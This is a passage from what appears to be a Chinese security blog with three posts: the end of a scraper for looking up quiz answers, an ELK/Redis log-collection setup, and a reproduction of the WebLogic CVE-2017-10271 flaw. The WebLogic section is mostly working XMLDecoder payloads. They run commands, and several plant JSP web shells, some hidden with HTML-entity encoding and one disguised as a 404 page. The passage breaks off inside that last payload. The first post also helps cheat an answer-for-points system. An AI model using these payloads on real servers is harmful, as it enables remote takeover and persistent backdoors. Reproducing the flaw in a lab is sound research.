然后把问题和答案组合起来,丢到百度里面去搜索,然后取第一个url来匹配,因为搜索里面,越靠前的可信度比较高。考虑到搜索里面的tiba.jsyks.com匹配度比较高,暂时全部丢里头查询了。

'''
获取的答案信息不全部是A/B/C/D,也有对错的部分
'''
def get_answer_tiba(url):
    info = ""
    try:
        resp = requests.get(url,headers=headers, verify=False)
        soup = BeautifulSoup(resp.content, "lxml")
        html=soup.find_all('div', id="question")
        if html:
            pattern = re.compile(r'</span>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
            content = pattern.findall(str(html[0]))
            for x in content[0]:
                info+=x+"\n"
            print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
            print info.replace(":\n",": ").strip("\n")

    except Exception as e:
        if "list index out of range" in str(e):
            try:
                pattern = re.compile(r'</strong>(.*?)<br/>(.*?)<br/>(.*?)<br/>(.*?)<br/><br/>(.*?)<u>(.*?)</u></h1>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")
            except Exception as e:
                pattern = re.compile(r'<br/>(.*?)<u>(.*?)</u>', re.IGNORECASE | re.DOTALL | re.MULTILINE)
                content = pattern.findall(str(html[0]))
                for x in content[0]:
                    info+=x+"\n"
                print(Fore.MAGENTA +"对照下面的答案选择真正正确的选项"+Fore.RESET)
                print info.replace(":\n",": ").strip("\n")

def get_baidu(keyword):
    url = "http://www.baidu.com/s?ie=utf-8&f=8&wd=site%3Atiba.jsyks.com%20"+keyword
    url2 = ""
    equid = re.compile(r'bds\.comm\.eqid = \"(.*?)\"', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    geturl = re.compile(r'

<

div class=\"f13\"><a target=\"_blank\" href=\"(.*?)\" class=\"c-showurl\" style=\"text-decoration:none;', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    try:
        resp = requests.get(url,headers=headers, verify=False)
        beqid = equid.findall(resp.content)
        #print beqid[0]
        burl = geturl.findall(resp.content)
        if  len(burl)>0:
            url2 = burl[0]+"&wd=&eqid="+str(beqid[0])
            realurl = re.compile(r"URL='(.*?)'", re.IGNORECASE | re.DOTALL | re.MULTILINE)
            try:
                resp1 = requests.get(url2,headers=headers, verify=False)
                realurl = realurl.findall(resp1.content)
                if len(realurl)>0:
                    print(realurl[0])
                    get_answer_tiba(realurl[0])
                    #return realurl[0]
            except Exception as e:
                print str(e)
                pass
        else:
            print(Fore.RED + "好像没有找到答案,估计要认命了^_^\n那么就随便选择一个呗。无法了" + Fore.RESET)
    except Exception as e:
        print str(e)
        pass

效果如下


单图片识别的效果

PS:为啥不搞成自动点击得.因为有些题目得图片不一样,问题和答案都是一样得。会造成很高得误报。

警告⚠️:
本文仅仅做技术研究。请参考第五条
如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

思路跟前段时间的答题赢奖金差不多

利用RELK进行日志收集

发布时间:April 3, 2018 // 分类:开发笔记,运维工作,python // No Comments

前不久在做应急的总是遇到要求对日志进行分析溯源,当时就想到如果对常见的日志类进行解析后统一入库处理,然后在对相关的IP/URL进行统计归纳。对于溯源之类的很是方便。想到数据量比较大,又要便于分析,就想到了ELK.

搭建一套基于elk的日志分析系统。
系统centos 内存4G 双核

大概架构如此

1.elk搭建

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.4.2-x86_64.rpm
wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.2.rpm

rpm -ivh elasticsearch-6.4.2.rpm 
sudo chkconfig --add elasticsearch
/etc/init.d/elasticsearch start

rpm -ivh kibana-6.4.2-x86_64.rpm 
/etc/init.d/kibana start
sudo chkconfig --add kibana

rpm -ivh logstash-6.4.2.rpm
cd /usr/share/logstash
ln -s /etc/logstash ./config

整个elk系统搭建好了,安装redis作为agent收集日志来作为logstash的输入源

wget http://download.redis.io/redis-stable.tar.gz
tar zxf redis-stable.tar.gz 
cd redis-stable
make && make install

修改redis.conf。

bind 0.0.0.0
protected-mode no
daemonize yes
maxclients 1000000

启动redis

sudo redis.conf /etc/
redis-server /etc/redis.conf

Logstash配置文件是JSON格式,放在/etc/logstash/conf.d 。 该配置由三个部分组成:输入,过滤器和输出。

input 数据输入端,可以接收来自任何地方的源数据。
file:从文件中读取
syslog:监听在514端口的系统日志信息,并解析成RFC3164格式。
redis:从redis-server list 中获取
beat:接收来自Filebeat的事件
Filter 数据中转层,主要进行格式处理,数据类型转换、数据过滤、字段添加,修改等,常用的过滤器如下。
grok: 通过正则解析和结构化任何文本。Grok 目前是logstash最好的方式对非结构化日志数据解析成结构化和可查询化。logstash内置了120个匹配模式,满足大部分需求。
mutate: 在事件字段执行一般的转换。可以重命名、删除、替换和修改事件字段。
drop: 完全丢弃事件,如debug事件。
clone: 复制事件,可能添加或者删除字段。
geoip: 添加有关IP地址地理位置信息。
output 是logstash工作的最后一个阶段,负责将数据输出到指定位置,兼容大多数应用,常用的有:
elasticsearch: 发送事件数据到 Elasticsearch,便于查询,分析,绘图。
file: 将事件数据写入到磁盘文件上。
mongodb:将事件数据发送至高性能NoSQL mongodb,便于永久存储,查询,分析,大数据分片。
redis:将数据发送至redis-server,常用于中间层暂时缓存。
graphite: 发送事件数据到graphite。http://graphite.wikidot.com/
statsd: 发送事件数据到 statsd。

编写logstash的配置文件。对所有的数据全盘接受,感谢Mosuan师傅的指导。

input {    
    redis {
        host => '127.0.0.1'
    port => 6379
        password => 'password'
        data_type => 'list'
        key => 'logstash:redis'
    }
}
output {
    elasticsearch { hosts => localhost }
    stdout { codec => rubydebug }
}

Logpara

一个对常见的web日志进行解析处理的粗糙DEMO。

Python 2.7 License

目标

  • 对被请求的URL进行解析,解析出是否常见的攻击方式
  • 对来访的IP进行深度解析,包含经纬度,物理地址
  • 对来访的UA进行深度解析,解析出设备,浏览器种类,是否爬虫
  • 把全部的日志解析了入库,做RELK处理

TO DO

  • 对入库elasticsearch的日志进行处理并展示

Useage

  • 使用之前先修改common/units.py

    redis_host = '192.168.87.222'
    redis_port = 6379
    redis_pass = 'cft67ygv'
    redis_db = 0
    redis_key = 'logstash:redis'
    
  • 使用
Usage: main.py --type IIS|Apache|Tomcat|Nginx --file file|directory

log parser

Options:
  -h, --help   show this help message and exit
  --type=TYPE  chose which log type
  --file=FILE  chose file or directory

脚本地址:https://github.com/0xa-saline/Logpara

导入后的结果类似


单个查看

如果基于nginx还可以收集post数据,在溯源取证以及日志分析都是有很好的帮助。

Weblogic(CVE-2017-10271)漏洞复现 附POC

发布时间:December 26, 2017 // 分类:开发笔记,linux,python,windows // No Comments

最近的CVE-2017-10271也是引起了一个小风波。趁着刚好有空就也测试了一下.测试环境是基于docker的.实际地址是:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

注意的是,在发送请求的时候,在请求头中必带Content-Type: text/xml,否则是无法请求成功的。
文件上传:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.101:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 582

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/poacher.txt</string><void method="println">
                        <string>Weblogic By:Poacher</string></void><void method="close"/>
                    </object>
                </java>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

命令执行(猥琐命令回显方法)

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                      <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

得说一下这里是使用的ProcessBuilder类进行的本地命令调用的。所以如果需要修改命令的话就得吧对应的参数修改了。以上的poc是弹计算器的。验证一下。

接下来说一下猥琐的命令回显的一个小方法。但是有前提的。前提是足够写入权限。
可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="5">
                      <void index="0">
                        <string>cmd</string>
                    </void>
                    <void index="1">
                        <string>/c</string>
                    </void>    
                    <void index="2">
                        <string>ipconfig</string>
                    </void>        
                    <void index="3">
                        <string>>></string>
                    </void>    
                    <void index="4">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
                    </void>        
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt,可以测试一下:

访问:http://www.xxxxx.cn:7001/wls-wsat/ipconfig.txt

发一个可以直接getshell的利用

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){  
                        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
                        int a = -1;  
                        byte[] b = new byte[2048];  
                        out.print("<pre>");  
                        while((a=in.read(b))!=-1){  
                            out.println(new String(b));  
                        }  
                        out.print("</pre>");} %>]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

另外附上一个其他的payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
        <java version="1.4.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
                        <void method="println"><string>&#60;&#37;@&#32;p&#97;ge&#32;l&#97;ngu&#97;ge&#61;&#34;j&#97;v&#97;&#34;&#32;p&#97;ge&#69;n&#99;oding&#61;&#34;g&#98;k&#34;&#37;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;&#37;&#32;int&#32;i&#61;&#48;&#59;&#83;tring&#32;method&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;&#97;&#99;t&#34;&#41;&#59;if&#40;method&#33;&#61;null&#38;&#38;method&#46;equ&#97;ls&#40;&#34;yo&#99;o&#34;&#41;&#41;{&#83;tring&#32;url&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;url&#34;&#41;&#59;&#83;tring&#32;text&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;sm&#97;rt&#34;&#41;&#59;&#70;ile&#32;f&#61;new&#32;&#70;ile&#40;url&#41;&#59;if&#40;f&#46;exists&#40;&#41;&#41;{f&#46;delete&#40;&#41;&#59;}try{&#79;utput&#83;tre&#97;m&#32;o&#61;new&#32;&#70;ile&#79;utput&#83;tre&#97;m&#40;f&#41;&#59;o&#46;write&#40;text&#46;get&#66;ytes&#40;&#41;&#41;&#59;o&#46;&#99;lose&#40;&#41;&#59;}&#99;&#97;t&#99;h&#40;&#69;x&#99;eption&#32;e&#41;{i&#43;&#43;&#59;&#37;&#62;&#48;&#60;&#37;}}if&#40;i&#61;&#61;&#48;&#41;{&#37;&#62;&#49;&#60;&#37;}&#37;&#62;&#60;form&#32;&#97;&#99;tion&#61;&#39;&#63;&#97;&#99;t&#61;yo&#99;o&#39;&#32;method&#61;&#39;post&#39;&#62;&#60;input&#32;size&#61;&#34;&#49;&#48;&#48;&#34;&#32;v&#97;lue&#61;&#34;&#60;&#37;&#61;&#97;ppli&#99;&#97;tion&#46;get&#82;e&#97;l&#80;&#97;th&#40;&#34;&#47;&#34;&#41;&#32;&#37;&#62;&#34;&#32;n&#97;me&#61;&#34;url&#34;&#62;&#60;&#98;r&#62;&#60;text&#97;re&#97;&#32;rows&#61;&#34;&#50;&#48;&#34;&#32;&#99;ols&#61;&#34;&#56;&#48;&#34;&#32;n&#97;me&#61;&#34;sm&#97;rt&#34;&#62;</string></void><void method="close"/>
                </object>
        </java>
</java>
</work:WorkContext>
</soapenv:Header><soapenv:Body/></soapenv:Envelope>

因为所有的都是基于servers/AdminServer/tmp/下可写的情况下的.不过作为验证需要利用非有害请求的方式,写了某框架的插件.借助dns来验证是否存在.如果不存在再考虑写文件的方式.

    def verify_shell(self):
        import re
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        random_file = str(randint(10000000,99999999))
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#xa;&#x3c;&#x21;&#x44;&#x4f;&#x43;&#x54;&#x59;&#x50;&#x45;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x50;&#x55;&#x42;&#x4c;&#x49;&#x43;&#x20;&#x22;&#x2d;&#x2f;&#x2f;&#x57;&#x33;&#x43;&#x2f;&#x2f;&#x44;&#x54;&#x44;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x34;&#x2e;&#x30;&#x20;&#x44;&#x72;&#x61;&#x66;&#x74;&#x2f;&#x2f;&#x45;&#x4e;&#x22;&#x3e;&#xa;&#x3c;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#xa;&#x3c;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x42;&#x4f;&#x44;&#x59;&#x20;&#x62;&#x67;&#x63;&#x6f;&#x6c;&#x6f;&#x72;&#x3d;&#x22;&#x77;&#x68;&#x69;&#x74;&#x65;&#x22;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x73;&#x70;&#x61;&#x63;&#x69;&#x6e;&#x67;&#x3d;&#x35;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x22;&#x62;&#x6c;&#x61;&#x63;&#x6b;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x32;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x32;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x77;&#x69;&#x64;&#x74;&#x68;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x70;&#x61;&#x64;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x31;&#x30;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x20;&#x56;&#x41;&#x4c;&#x49;&#x47;&#x4e;&#x3d;&#x74;&#x6f;&#x70;&#x20;&#x57;&#x49;&#x44;&#x54;&#x48;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x42;&#x47;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x77;&#x68;&#x69;&#x74;&#x65;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x33;&#x3e;&#x46;&#x72;&#x6f;&#x6d;&#x20;&#x52;&#x46;&#x43;&#x20;&#x32;&#x30;&#x36;&#x38;&#x20;&#x3c;&#x69;&#x3e;&#x48;&#x79;&#x70;&#x65;&#x72;&#x74;&#x65;&#x78;&#x74;&#x20;&#x54;&#x72;&#x61;&#x6e;&#x73;&#x66;&#x65;&#x72;&#x20;&#x50;&#x72;&#x6f;&#x74;&#x6f;&#x63;&#x6f;&#x6c;&#x20;&#x2d;&#x2d;&#x20;&#x48;&#x54;&#x54;&#x50;&#x2f;&#x31;&#x2e;&#x31;&#x3c;&#x2f;&#x69;&#x3e;&#x3a;&#x3c;&#x2f;&#x48;&#x33;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x34;&#x3e;&#x31;&#x30;&#x2e;&#x34;&#x2e;&#x35;&#x20;&#x34;&#x30;&#x34;&#x20;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x34;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x50;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x54;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x66;&#x6f;&#x75;&#x6e;&#x64;&#x20;&#x61;&#x6e;&#x79;&#x74;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x74;&#x68;&#x65;&#x20;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2d;&#x55;&#x52;&#x49;&#x2e;&#x20;&#x4e;&#x6f;&#x20;&#x69;&#x6e;&#x64;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x67;&#x69;&#x76;&#x65;&#x6e;&#x20;&#x6f;&#x66;&#x20;&#x77;&#x68;&#x65;&#x74;&#x68;&#x65;&#x72;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6f;&#x6e;&#x64;&#x69;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x74;&#x65;&#x6d;&#x70;&#x6f;&#x72;&#x61;&#x72;&#x79;&#x20;&#x6f;&#x72;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x2e;&#x3c;&#x2f;&#x70;&#x3e;&#x3c;&#x70;&#x3e;&#x49;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x64;&#x6f;&#x65;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x77;&#x69;&#x73;&#x68;&#x20;&#x74;&#x6f;&#x20;&#x6d;&#x61;&#x6b;&#x65;&#x20;&#x74;&#x68;&#x69;&#x73;&#x20;&#x69;&#x6e;&#x66;&#x6f;&#x72;&#x6d;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x74;&#x6f;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6c;&#x69;&#x65;&#x6e;&#x74;&#x2c;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x34;&#x30;&#x33;&#x20;&#x28;&#x46;&#x6f;&#x72;&#x62;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x29;&#x20;&#x63;&#x61;&#x6e;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x6e;&#x73;&#x74;&#x65;&#x61;&#x64;&#x2e;&#x20;&#x54;&#x68;&#x65;&#x20;&#x34;&#x31;&#x30;&#x20;&#x28;&#x47;&#x6f;&#x6e;&#x65;&#x29;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x20;&#x69;&#x64;&#x3d;&#x22;&#x63;&#x39;&#x39;&#x34;&#x38;&#x32;&#x65;&#x37;&#x32;&#x39;&#x35;&#x66;&#x32;&#x31;&#x39;&#x64;&#x34;&#x64;&#x32;&#x62;&#x62;&#x31;&#x66;&#x65;&#x39;&#x33;&#x39;&#x63;&#x39;&#x65;&#x63;&#x35;&#x22;&#x3e;&#x53;&#x48;&#x4f;&#x55;&#x4c;&#x44;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x6b;&#x6e;&#x6f;&#x77;&#x73;&#x2c;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x75;&#x67;&#x68;&#x20;&#x73;&#x6f;&#x6d;&#x65;&#x20;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x6c;&#x79;&#x20;&#x63;&#x6f;&#x6e;&#x66;&#x69;&#x67;&#x75;&#x72;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6d;&#x65;&#x63;&#x68;&#x61;&#x6e;&#x69;&#x73;&#x6d;&#x2c;&#x20;&#x74;&#x68;&#x61;&#x74;&#x20;&#x61;&#x6e;&#x20;&#x6f;&#x6c;&#x64;&#x20;&#x72;&#x65;&#x73;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x20;&#x69;&#x73;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x6c;&#x79;&#x20;&#x75;&#x6e;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x61;&#x6e;&#x64;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x20;&#x66;&#x6f;&#x72;&#x